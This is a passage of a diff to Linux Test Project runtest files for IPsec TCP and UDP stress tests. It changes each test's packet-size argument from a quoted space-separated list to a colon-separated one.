+tcp4_ipsec36 tcp_ipsec.sh -p esp -m beet -s 100:1000:65535
 
-tcp6_ipsec01 tcp_ipsec.sh -6 -s "100 1000 65535"
-tcp6_ipsec02 tcp_ipsec.sh -6 -p ah -m transport -s "100 1000 65535"
-tcp6_ipsec03 tcp_ipsec.sh -6 -p ah -m tunnel -s "100 1000 65535"
-tcp6_ipsec04 tcp_ipsec.sh -6 -p esp -m transport -s "100 1000 65535"
-tcp6_ipsec05 tcp_ipsec.sh -6 -p esp -m tunnel -s "100 1000 65535"
-tcp6_ipsec06 tcp_ipsec.sh -6 -p comp -m transport -s "100 1000 65535"
-tcp6_ipsec07 tcp_ipsec.sh -6 -p comp -m tunnel -s "100 1000 65535"
-tcp6_ipsec08 tcp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m transport -s "100 1000 65535"
-tcp6_ipsec09 tcp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp6_ipsec10 tcp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m transport -s "100 1000 65535"
-tcp6_ipsec11 tcp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp6_ipsec12 tcp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m transport -s "100 1000 65535"
-tcp6_ipsec13 tcp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp6_ipsec14 tcp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m transport -s "100 1000 65535"
-tcp6_ipsec15 tcp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp6_ipsec16 tcp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m transport -s "100 1000 65535"
-tcp6_ipsec17 tcp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp6_ipsec18 tcp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m transport -s "100 1000 65535"
-tcp6_ipsec19 tcp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp6_ipsec20 tcp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m transport -s "100 1000 65535"
-tcp6_ipsec21 tcp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp6_ipsec22 tcp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m transport -s "100 1000 65535"
-tcp6_ipsec23 tcp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp6_ipsec24 tcp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m transport -s "100 1000 65535"
-tcp6_ipsec25 tcp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp6_ipsec26 tcp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m transport -s "100 1000 65535"
-tcp6_ipsec27 tcp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65535"
-tcp6_ipsec28 tcp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m transport -s "100 1000 65535"
-tcp6_ipsec29 tcp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65535"
-tcp6_ipsec30 tcp_ipsec.sh -6 -p esp -a sha384 -e twofish -m transport -s "100 1000 65535"
-tcp6_ipsec31 tcp_ipsec.sh -6 -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65535"
-tcp6_ipsec32 tcp_ipsec.sh -6 -p esp -a sha512 -e camellia -m transport -s "100 1000 65535"
-tcp6_ipsec33 tcp_ipsec.sh -6 -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65535"
-tcp6_ipsec34 tcp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m transport -s "100 1000 65535"
-tcp6_ipsec35 tcp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65535"
-tcp6_ipsec36 tcp_ipsec.sh -6 -p esp -m beet -s "100 1000 65535"
+tcp6_ipsec01 tcp_ipsec.sh -6 -s 100:1000:65535
+tcp6_ipsec02 tcp_ipsec.sh -6 -p ah -m transport -s 100:1000:65535
+tcp6_ipsec03 tcp_ipsec.sh -6 -p ah -m tunnel -s 100:1000:65535
+tcp6_ipsec04 tcp_ipsec.sh -6 -p esp -m transport -s 100:1000:65535
+tcp6_ipsec05 tcp_ipsec.sh -6 -p esp -m tunnel -s 100:1000:65535
+tcp6_ipsec06 tcp_ipsec.sh -6 -p comp -m transport -s 100:1000:65535
+tcp6_ipsec07 tcp_ipsec.sh -6 -p comp -m tunnel -s 100:1000:65535
+tcp6_ipsec08 tcp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m transport -s 100:1000:65535
+tcp6_ipsec09 tcp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s 100:1000:65535
+tcp6_ipsec10 tcp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m transport -s 100:1000:65535
+tcp6_ipsec11 tcp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s 100:1000:65535
+tcp6_ipsec12 tcp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m transport -s 100:1000:65535
+tcp6_ipsec13 tcp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s 100:1000:65535
+tcp6_ipsec14 tcp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m transport -s 100:1000:65535
+tcp6_ipsec15 tcp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s 100:1000:65535
+tcp6_ipsec16 tcp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m transport -s 100:1000:65535
+tcp6_ipsec17 tcp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s 100:1000:65535
+tcp6_ipsec18 tcp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m transport -s 100:1000:65535
+tcp6_ipsec19 tcp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s 100:1000:65535
+tcp6_ipsec20 tcp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m transport -s 100:1000:65535
+tcp6_ipsec21 tcp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s 100:1000:65535
+tcp6_ipsec22 tcp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m transport -s 100:1000:65535
+tcp6_ipsec23 tcp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s 100:1000:65535
+tcp6_ipsec24 tcp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m transport -s 100:1000:65535
+tcp6_ipsec25 tcp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s 100:1000:65535
+tcp6_ipsec26 tcp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m transport -s 100:1000:65535
+tcp6_ipsec27 tcp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s 100:1000:65535
+tcp6_ipsec28 tcp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m transport -s 100:1000:65535
+tcp6_ipsec29 tcp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s 100:1000:65535
+tcp6_ipsec30 tcp_ipsec.sh -6 -p esp -a sha384 -e twofish -m transport -s 100:1000:65535
+tcp6_ipsec31 tcp_ipsec.sh -6 -p esp -a sha384 -e twofish -m tunnel -s 100:1000:65535
+tcp6_ipsec32 tcp_ipsec.sh -6 -p esp -a sha512 -e camellia -m transport -s 100:1000:65535
+tcp6_ipsec33 tcp_ipsec.sh -6 -p esp -a sha512 -e camellia -m tunnel -s 100:1000:65535
+tcp6_ipsec34 tcp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m transport -s 100:1000:65535
+tcp6_ipsec35 tcp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s 100:1000:65535
+tcp6_ipsec36 tcp_ipsec.sh -6 -p esp -m beet -s 100:1000:65535
 
-tcp4_ipsec_vti01 tcp_ipsec_vti.sh -p ah -m tunnel -s "100 1000 65535"
-tcp4_ipsec_vti02 tcp_ipsec_vti.sh -p esp -m tunnel -s "100 1000 65535"
-# tcp4_ipsec_vti03 tcp_ipsec_vti.sh -p comp -m tunnel -s "100 1000 65535"
-tcp4_ipsec_vti04 tcp_ipsec_vti.sh -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp4_ipsec_vti05 tcp_ipsec_vti.sh -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp4_ipsec_vti06 tcp_ipsec_vti.sh -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp4_ipsec_vti07 tcp_ipsec_vti.sh -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp4_ipsec_vti08 tcp_ipsec_vti.sh -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp4_ipsec_vti09 tcp_ipsec_vti.sh -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp4_ipsec_vti10 tcp_ipsec_vti.sh -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp4_ipsec_vti11 tcp_ipsec_vti.sh -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp4_ipsec_vti12 tcp_ipsec_vti.sh -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp4_ipsec_vti13 tcp_ipsec_vti.sh -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65535"
-tcp4_ipsec_vti14 tcp_ipsec_vti.sh -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65535"
-tcp4_ipsec_vti15 tcp_ipsec_vti.sh -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65535"
-tcp4_ipsec_vti16 tcp_ipsec_vti.sh -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65535"
-tcp4_ipsec_vti17 tcp_ipsec_vti.sh -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65535"
+tcp4_ipsec_vti01 tcp_ipsec_vti.sh -p ah -m tunnel -s 100:1000:65535
+tcp4_ipsec_vti02 tcp_ipsec_vti.sh -p esp -m tunnel -s 100:1000:65535
+# tcp4_ipsec_vti03 tcp_ipsec_vti.sh -p comp -m tunnel -s 100:1000:65535
+tcp4_ipsec_vti04 tcp_ipsec_vti.sh -A rfc4106_128 -p esp_aead -m tunnel -s 100:1000:65535
+tcp4_ipsec_vti05 tcp_ipsec_vti.sh -A rfc4106_192 -p esp_aead -m tunnel -s 100:1000:65535
+tcp4_ipsec_vti06 tcp_ipsec_vti.sh -A rfc4106_256 -p esp_aead -m tunnel -s 100:1000:65535
+tcp4_ipsec_vti07 tcp_ipsec_vti.sh -A rfc4309_128 -p esp_aead -m tunnel -s 100:1000:65535
+tcp4_ipsec_vti08 tcp_ipsec_vti.sh -A rfc4309_192 -p esp_aead -m tunnel -s 100:1000:65535
+tcp4_ipsec_vti09 tcp_ipsec_vti.sh -A rfc4309_256 -p esp_aead -m tunnel -s 100:1000:65535
+tcp4_ipsec_vti10 tcp_ipsec_vti.sh -A rfc4543_128 -p esp_aead -m tunnel -s 100:1000:65535
+tcp4_ipsec_vti11 tcp_ipsec_vti.sh -A rfc4543_192 -p esp_aead -m tunnel -s 100:1000:65535
+tcp4_ipsec_vti12 tcp_ipsec_vti.sh -A rfc4543_256 -p esp_aead -m tunnel -s 100:1000:65535
+tcp4_ipsec_vti13 tcp_ipsec_vti.sh -p esp -a sha1 -e cast5 -m tunnel -s 100:1000:65535
+tcp4_ipsec_vti14 tcp_ipsec_vti.sh -p esp -a sha256 -e blowfish -m tunnel -s 100:1000:65535
+tcp4_ipsec_vti15 tcp_ipsec_vti.sh -p esp -a sha384 -e twofish -m tunnel -s 100:1000:65535
+tcp4_ipsec_vti16 tcp_ipsec_vti.sh -p esp -a sha512 -e camellia -m tunnel -s 100:1000:65535
+tcp4_ipsec_vti17 tcp_ipsec_vti.sh -p esp -a rmd160 -e serpent -m tunnel -s 100:1000:65535
 
-tcp6_ipsec_vti01 tcp_ipsec_vti.sh -6 -p ah -m tunnel -s "100 1000 65535"
-tcp6_ipsec_vti02 tcp_ipsec_vti.sh -6 -p esp -m tunnel -s "100 1000 65535"
-# tcp6_ipsec_vti03 tcp_ipsec_vti.sh -6 -p comp -m tunnel -s "100 1000 65535"
-tcp6_ipsec_vti04 tcp_ipsec_vti.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp6_ipsec_vti05 tcp_ipsec_vti.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp6_ipsec_vti06 tcp_ipsec_vti.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp6_ipsec_vti07 tcp_ipsec_vti.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp6_ipsec_vti08 tcp_ipsec_vti.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp6_ipsec_vti09 tcp_ipsec_vti.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp6_ipsec_vti10 tcp_ipsec_vti.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp6_ipsec_vti11 tcp_ipsec_vti.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp6_ipsec_vti12 tcp_ipsec_vti.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp6_ipsec_vti13 tcp_ipsec_vti.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65535"
-tcp6_ipsec_vti14 tcp_ipsec_vti.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65535"
-tcp6_ipsec_vti15 tcp_ipsec_vti.sh -6 -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65535"
-tcp6_ipsec_vti16 tcp_ipsec_vti.sh -6 -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65535"
-tcp6_ipsec_vti17 tcp_ipsec_vti.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65535"
+tcp6_ipsec_vti01 tcp_ipsec_vti.sh -6 -p ah -m tunnel -s 100:1000:65535
+tcp6_ipsec_vti02 tcp_ipsec_vti.sh -6 -p esp -m tunnel -s 100:1000:65535
+# tcp6_ipsec_vti03 tcp_ipsec_vti.sh -6 -p comp -m tunnel -s 100:1000:65535
+tcp6_ipsec_vti04 tcp_ipsec_vti.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s 100:1000:65535
+tcp6_ipsec_vti05 tcp_ipsec_vti.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s 100:1000:65535
+tcp6_ipsec_vti06 tcp_ipsec_vti.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s 100:1000:65535
+tcp6_ipsec_vti07 tcp_ipsec_vti.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s 100:1000:65535
+tcp6_ipsec_vti08 tcp_ipsec_vti.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s 100:1000:65535
+tcp6_ipsec_vti09 tcp_ipsec_vti.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s 100:1000:65535
+tcp6_ipsec_vti10 tcp_ipsec_vti.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s 100:1000:65535
+tcp6_ipsec_vti11 tcp_ipsec_vti.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s 100:1000:65535
+tcp6_ipsec_vti12 tcp_ipsec_vti.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s 100:1000:65535
+tcp6_ipsec_vti13 tcp_ipsec_vti.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s 100:1000:65535
+tcp6_ipsec_vti14 tcp_ipsec_vti.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s 100:1000:65535
+tcp6_ipsec_vti15 tcp_ipsec_vti.sh -6 -p esp -a sha384 -e twofish -m tunnel -s 100:1000:65535
+tcp6_ipsec_vti16 tcp_ipsec_vti.sh -6 -p esp -a sha512 -e camellia -m tunnel -s 100:1000:65535
+tcp6_ipsec_vti17 tcp_ipsec_vti.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s 100:1000:65535
diff --git a/runtest/net_stress.ipsec_udp b/runtest/net_stress.ipsec_udp
index 76c393f..4b88c4d 100644
--- a/runtest/net_stress.ipsec_udp
+++ b/runtest/net_stress.ipsec_udp
@@ -1,109 +1,109 @@
-udp4_ipsec01 udp_ipsec.sh -s "100 1000 65507"
-udp4_ipsec02 udp_ipsec.sh -p ah -m transport -s "100 1000 65483"
-udp4_ipsec03 udp_ipsec.sh -p ah -m tunnel -s "100 1000 65463"
-udp4_ipsec04 udp_ipsec.sh -p esp -m transport -s "100 1000 65470"
-udp4_ipsec05 udp_ipsec.sh -p esp -m tunnel -s "100 1000 65450"
-udp4_ipsec06 udp_ipsec.sh -p comp -m transport -s "100 1000 65000"
-udp4_ipsec07 udp_ipsec.sh -p comp -m tunnel -s "100 1000 65000"
-udp4_ipsec08 udp_ipsec.sh -A rfc4106_128 -p esp_aead -m transport -s "100 1000 65470"
-udp4_ipsec09 udp_ipsec.sh -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65450"
-udp4_ipsec10 udp_ipsec.sh -A rfc4106_192 -p esp_aead -m transport -s "100 1000 65470"
-udp4_ipsec11 udp_ipsec.sh -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65450"
-udp4_ipsec12 udp_ipsec.sh -A rfc4106_256 -p esp_aead -m transport -s "100 1000 65470"
-udp4_ipsec13 udp_ipsec.sh -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65450"
-udp4_ipsec14 udp_ipsec.sh -A rfc4309_128 -p esp_aead -m transport -s "100 1000 65470"
-udp4_ipsec15 udp_ipsec.sh -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65450"
-udp4_ipsec16 udp_ipsec.sh -A rfc4309_192 -p esp_aead -m transport -s "100 1000 65470"
-udp4_ipsec17 udp_ipsec.sh -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65450"
-udp4_ipsec18 udp_ipsec.sh -A rfc4309_256 -p esp_aead -m transport -s "100 1000 65470"
-udp4_ipsec19 udp_ipsec.sh -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65450"
-udp4_ipsec20 udp_ipsec.sh -A rfc4543_128 -p esp_aead -m transport -s "100 1000 65470"
-udp4_ipsec21 udp_ipsec.sh -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65450"
-udp4_ipsec22 udp_ipsec.sh -A rfc4543_192 -p esp_aead -m transport -s "100 1000 65470"
-udp4_ipsec23 udp_ipsec.sh -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65450"
-udp4_ipsec24 udp_ipsec.sh -A rfc4543_256 -p esp_aead -m transport -s "100 1000 65470"
-udp4_ipsec25 udp_ipsec.sh -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65450"
-udp4_ipsec26 udp_ipsec.sh -p esp -a sha1 -e cast5 -m transport -s "100 1000 65470"
-udp4_ipsec27 udp_ipsec.sh -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65450"
-udp4_ipsec28 udp_ipsec.sh -p esp -a sha256 -e blowfish -m transport -s "100 1000 65470"
-udp4_ipsec29 udp_ipsec.sh -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65426"
-udp4_ipsec30 udp_ipsec.sh -p esp -a sha384 -e twofish -m transport -s "100 1000 65446"
-udp4_ipsec31 udp_ipsec.sh -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65426"
-udp4_ipsec32 udp_ipsec.sh -p esp -a sha512 -e camellia -m transport -s "100 1000 65446"
-udp4_ipsec33 udp_ipsec.sh -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65426"
-udp4_ipsec34 udp_ipsec.sh -p esp -a rmd160 -e serpent -m transport -s "100 1000 65446"
-udp4_ipsec35 udp_ipsec.sh -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65426"
-udp4_ipsec36 udp_ipsec.sh -p esp -m beet -s "100 1000 65446"
+udp4_ipsec01 udp_ipsec.sh -s 100:1000:65507
+udp4_ipsec02 udp_ipsec.sh -p ah -m transport -s 100:1000:65483
+udp4_ipsec03 udp_ipsec.sh -p ah -m tunnel -s 100:1000:65463
+udp4_ipsec04 udp_ipsec.sh -p esp -m transport -s 100:1000:65470
+udp4_ipsec05 udp_ipsec.sh -p esp -m tunnel -s 100:1000:65450
+udp4_ipsec06 udp_ipsec.sh -p comp -m transport -s 100:1000:65000
+udp4_ipsec07 udp_ipsec.sh -p comp -m tunnel -s 100:1000:65000
+udp4_ipsec08 udp_ipsec.sh -A rfc4106_128 -p esp_aead -m transport -s 100:1000:65470
+udp4_ipsec09 udp_ipsec.sh -A rfc4106_128 -p esp_aead -m tunnel -s 100:1000:65450
+udp4_ipsec10 udp_ipsec.sh -A rfc4106_192 -p esp_aead -m transport -s 100:1000:65470
+udp4_ipsec11 udp_ipsec.sh -A rfc4106_192 -p esp_aead -m tunnel -s 100:1000:65450
+udp4_ipsec12 udp_ipsec.sh -A rfc4106_256 -p esp_aead -m transport -s 100:1000:65470
+udp4_ipsec13 udp_ipsec.sh -A rfc4106_256 -p esp_aead -m tunnel -s 100:1000:65450
+udp4_ipsec14 udp_ipsec.sh -A rfc4309_128 -p esp_aead -m transport -s 100:1000:65470
+udp4_ipsec15 udp_ipsec.sh -A rfc4309_128 -p esp_aead -m tunnel -s 100:1000:65450
+udp4_ipsec16 udp_ipsec.sh -A rfc4309_192 -p esp_aead -m transport -s 100:1000:65470
+udp4_ipsec17 udp_ipsec.sh -A rfc4309_192 -p esp_aead -m tunnel -s 100:1000:65450
+udp4_ipsec18 udp_ipsec.sh -A rfc4309_256 -p esp_aead -m transport -s 100:1000:65470
+udp4_ipsec19 udp_ipsec.sh -A rfc4309_256 -p esp_aead -m tunnel -s 100:1000:65450
+udp4_ipsec20 udp_ipsec.sh -A rfc4543_128 -p esp_aead -m transport -s 100:1000:65470
+udp4_ipsec21 udp_ipsec.sh -A rfc4543_128 -p esp_aead -m tunnel -s 100:1000:65450
+udp4_ipsec22 udp_ipsec.sh -A rfc4543_192 -p esp_aead -m transport -s 100:1000:65470
+udp4_ipsec23 udp_ipsec.sh -A rfc4543_192 -p esp_aead -m tunnel -s 100:1000:65450
+udp4_ipsec24 udp_ipsec.sh -A rfc4543_256 -p esp_aead -m transport -s 100:1000:65470
+udp4_ipsec25 udp_ipsec.sh -A rfc4543_256 -p esp_aead -m tunnel -s 100:1000:65450
+udp4_ipsec26 udp_ipsec.sh -p esp -a sha1 -e cast5 -m transport -s 100:1000:65470
+udp4_ipsec27 udp_ipsec.sh -p esp -a sha1 -e cast5 -m tunnel -s 100:1000:65450
+udp4_ipsec28 udp_ipsec.sh -p esp -a sha256 -e blowfish -m transport -s 100:1000:65470
+udp4_ipsec29 udp_ipsec.sh -p esp -a sha256 -e blowfish -m tunnel -s 100:1000:65426
+udp4_ipsec30 udp_ipsec.sh -p esp -a sha384 -e twofish -m transport -s 100:1000:65446
+udp4_ipsec31 udp_ipsec.sh -p esp -a sha384 -e twofish -m tunnel -s 100:1000:65426
+udp4_ipsec32 udp_ipsec.sh -p esp -a sha512 -e camellia -m transport -s 100:1000:65446
+udp4_ipsec33 udp_ipsec.sh -p esp -a sha512 -e camellia -m tunnel -s 100:1000:65426
+udp4_ipsec34 udp_ipsec.sh -p esp -a rmd160 -e serpent -m transport -s 100:1000:65446
+udp4_ipsec35 udp_ipsec.sh -p esp -a rmd160 -e serpent -m tunnel -s 100:1000:65426
+udp4_ipsec36 udp_ipsec.sh -p esp -m beet -s 100:1000:65446
 
-udp6_ipsec01 udp_ipsec.sh -6 -s "100 1000 65527"
-udp6_ipsec02 udp_ipsec.sh -6 -p ah -m transport -s "100 1000 65503"
-udp6_ipsec03 udp_ipsec.sh -6 -p ah -m tunnel -s "100 1000 65527"
-udp6_ipsec04 udp_ipsec.sh -6 -p esp -m transport -s "100 1000 65490"
-udp6_ipsec05 udp_ipsec.sh -6 -p esp -m tunnel -s "100 1000 65527"
-udp6_ipsec06 udp_ipsec.sh -6 -p comp -m transport -s "100 1000 65000"
-udp6_ipsec07 udp_ipsec.sh -6 -p comp -m tunnel -s "100 1000 65000"
-udp6_ipsec08 udp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m transport -s "100 1000 65490"
-udp6_ipsec09 udp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65527"
-udp6_ipsec10 udp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m transport -s "100 1000 65490"
-udp6_ipsec11 udp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65527"
-udp6_ipsec12 udp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m transport -s "100 1000 65490"
-udp6_ipsec13 udp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65527"
-udp6_ipsec14 udp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m transport -s "100 1000 65490"
-udp6_ipsec15 udp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65527"
-udp6_ipsec16 udp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m transport -s "100 1000 65490"
-udp6_ipsec17 udp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65527"
-udp6_ipsec18 udp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m transport -s "100 1000 65490"
-udp6_ipsec19 udp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65527"
-udp6_ipsec20 udp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m transport -s "100 1000 65490"
-udp6_ipsec21 udp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65527"
-udp6_ipsec22 udp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m transport -s "100 1000 65490"
-udp6_ipsec23 udp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65527"
-udp6_ipsec24 udp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m transport -s "100 1000 65490"
-udp6_ipsec25 udp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65527"
-udp6_ipsec26 udp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m transport -s "100 1000 65490"
-udp6_ipsec27 udp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65527"
-udp6_ipsec28 udp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m transport -s "100 1000 65490"
-udp6_ipsec29 udp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65527"
-udp6_ipsec30 udp_ipsec.sh -6 -p esp -a sha384 -e twofish -m transport -s "100 1000 65462"
-udp6_ipsec31 udp_ipsec.sh -6 -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65527"
-udp6_ipsec32 udp_ipsec.sh -6 -p esp -a sha512 -e camellia -m transport -s "100 1000 65462"
-udp6_ipsec33 udp_ipsec.sh -6 -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65527"
-udp6_ipsec34 udp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m transport -s "100 1000 65478"
-udp6_ipsec35 udp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65527"
-udp6_ipsec36 udp_ipsec.sh -6 -p esp -m beet -s "100 1000 65478"
+udp6_ipsec01 udp_ipsec.sh -6 -s 100:1000:65527
+udp6_ipsec02 udp_ipsec.sh -6 -p ah -m transport -s 100:1000:65503
+udp6_ipsec03 udp_ipsec.sh -6 -p ah -m tunnel -s 100:1000:65527
+udp6_ipsec04 udp_ipsec.sh -6 -p esp -m transport -s 100:1000:65490
+udp6_ipsec05 udp_ipsec.sh -6 -p esp -m tunnel -s 100:1000:65527
+udp6_ipsec06 udp_ipsec.sh -6 -p comp -m transport -s 100:1000:65000
+udp6_ipsec07 udp_ipsec.sh -6 -p comp -m tunnel -s 100:1000:65000
+udp6_ipsec08 udp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m transport -s 100:1000:65490
+udp6_ipsec09 udp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s 100:1000:65527
+udp6_ipsec10 udp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m transport -s 100:1000:65490
+udp6_ipsec11 udp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s 100:1000:65527
+udp6_ipsec12 udp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m transport -s 100:1000:65490
+udp6_ipsec13 udp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s 100:1000:65527
+udp6_ipsec14 udp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m transport -s 100:1000:65490
+udp6_ipsec15 udp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s 100:1000:65527
+udp6_ipsec16 udp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m transport -s 100:1000:65490
+udp6_ipsec17 udp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s 100:1000:65527
+udp6_ipsec18 udp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m transport -s 100:1000:65490
